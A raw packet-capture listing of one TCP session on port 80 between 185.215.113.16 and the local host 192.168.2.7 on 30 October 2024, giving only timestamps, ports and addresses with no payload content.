Oct 30, 2024 04:35:26.022325039 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.022330046 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.022337914 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.022351980 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.022365093 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.022372961 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.022413969 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.022447109 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.022459030 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.022469044 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.022480965 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.022490978 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.022492886 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.022521019 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.022562027 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.063108921 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.063133955 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.063167095 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.063193083 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.063203096 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.063220024 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.063271999 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.065318108 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.065354109 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.065366983 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.065396070 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.065399885 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.065412045 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.065422058 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.065433979 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.065459013 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.065490961 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.065603018 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.065614939 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.065630913 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.065651894 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.065670967 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.065851927 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.065871000 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.065896988 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.065910101 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.066119909 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.066164970 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.066325903 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.066338062 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.066394091 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.066420078 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.066431999 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.066441059 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.066452026 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.066453934 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.066466093 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.066493988 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.066504955 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.066515923 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.066534996 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.066536903 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.066548109 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.066560030 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.066562891 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.066602945 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.066795111 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.066818953 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.066828966 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.066843033 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.066879034 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.066906929 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.066919088 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.066947937 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.066979885 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.067317963 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.067331076 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.067343950 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.067362070 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.067363024 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.067378998 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.067408085 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.067425966 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.067440033 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.067467928 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.067476988 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.067487955 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.067497969 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.067498922 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.067512035 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.067528009 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.067557096 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.067603111 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.067611933 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.067641973 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.067719936 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.067761898 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.067766905 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.067780018 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.067811012 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.067835093 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.067898989 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.067909956 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.067919016 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.067929983 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.067945004 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.067977905 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.067989111 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.067998886 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.068034887 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.107646942 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.107671022 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.107712984 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.107724905 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.107738018 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.107745886 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.107758999 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.107768059 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.107778072 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.107789040 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.107801914 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.107804060 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.107815027 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.107840061 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.107858896 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.107877970 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.107892036 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.107897997 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.107934952 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.108210087 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.108239889 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.108252048 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.108264923 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.108300924 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.108313084 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.108325958 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.108350992 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.108386040 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.108539104 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.108587027 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.108596087 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.108608007 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.108634949 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.108638048 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.108650923 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.108658075 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.108676910 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.108699083 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.108741045 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.108753920 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.108782053 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.108805895 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.108863115 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.108875990 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.108911991 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.108912945 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.108927011 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.108953953 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.108987093 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.109116077 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.109162092 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.109175920 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.109189034 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.109226942 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.109262943 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.109277010 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.109297037 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.109308958 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.109344006 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.109366894 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.109380007 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.109391928 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.109407902 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.109441996 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.109649897 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.109698057 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.109730959 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.109775066 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.140517950 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.140544891 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.140563011 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.140574932 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.140619040 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.140647888 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.140660048 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.140676022 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.140705109 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.140710115 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.140722036 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.140732050 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.140755892 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.140780926 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.140948057 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.140995979 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.141000032 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.141007900 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.141032934 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.141060114 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.141100883 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.141123056 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.141133070 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.141146898 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.143487930 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.181670904 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.181706905 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.181729078 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.181739092 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.181750059 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.181824923 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.181865931 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.184109926 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.184120893 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.184129953 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.184170008 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.184196949 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.184204102 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.184215069 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.184225082 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.184252024 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.184256077 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.184267044 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.184278011 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.184319019 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.184360981 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.184371948 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.184381008 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.184400082 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.184408903 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.184427977 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.184463978 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.184465885 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.184506893 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.184545994 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.184588909 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.184631109 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.184643030 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.184679985 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.184690952 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.184710979 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.184724092 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.184746027 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.184752941 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.184758902 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.184776068 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.184797049 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.184811115 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.184851885 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.184958935 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.185002089 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.185005903 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.185018063 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.185048103 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.185066938 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.185131073 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.185142040 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.185152054 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.185173035 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.185208082 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.185214996 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.185225964 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.185236931 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.185256004 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.185269117 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.185303926 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.185312986 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.185352087 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.185609102 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.185621023 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.185631037 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.185655117 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.185666084 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.185678005 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.185684919 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.185702085 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.185738087 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.185862064 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.185904026 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.185936928 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.185949087 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.185976028 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.185992956 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.186031103 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.186042070 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.186055899 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.186073065 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.186094046 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.186266899 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.186307907 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.186309099 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.186319113 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.186336994 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.186361074 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.186415911 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.186427116 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.186436892 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.186449051 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.186455011 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.186475992 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.186511993 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.186567068 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.186578989 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.186589003 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.186599970 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.186611891 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.186625004 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.186662912 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.226274967 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.226310968 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.226321936 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.226335049 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.226358891 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.226368904 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.226423979 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.226435900 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.226447105 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.226459026 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.226464987 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.226490021 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.226522923 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.226540089 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.226552010 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.226563931 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.226578951 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.226582050 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.226591110 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.226600885 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.226623058 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.226654053 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.226660013 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.226699114 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.226731062 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.226742983 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.226768017 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.226768970 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.226789951 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.226815939 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.226820946 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.226833105 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.226861000 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.226877928 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.226938963 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.226974010 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.226984024 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.226990938 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.227011919 CET	49983	80	192.168.2.7	185.215.113.16
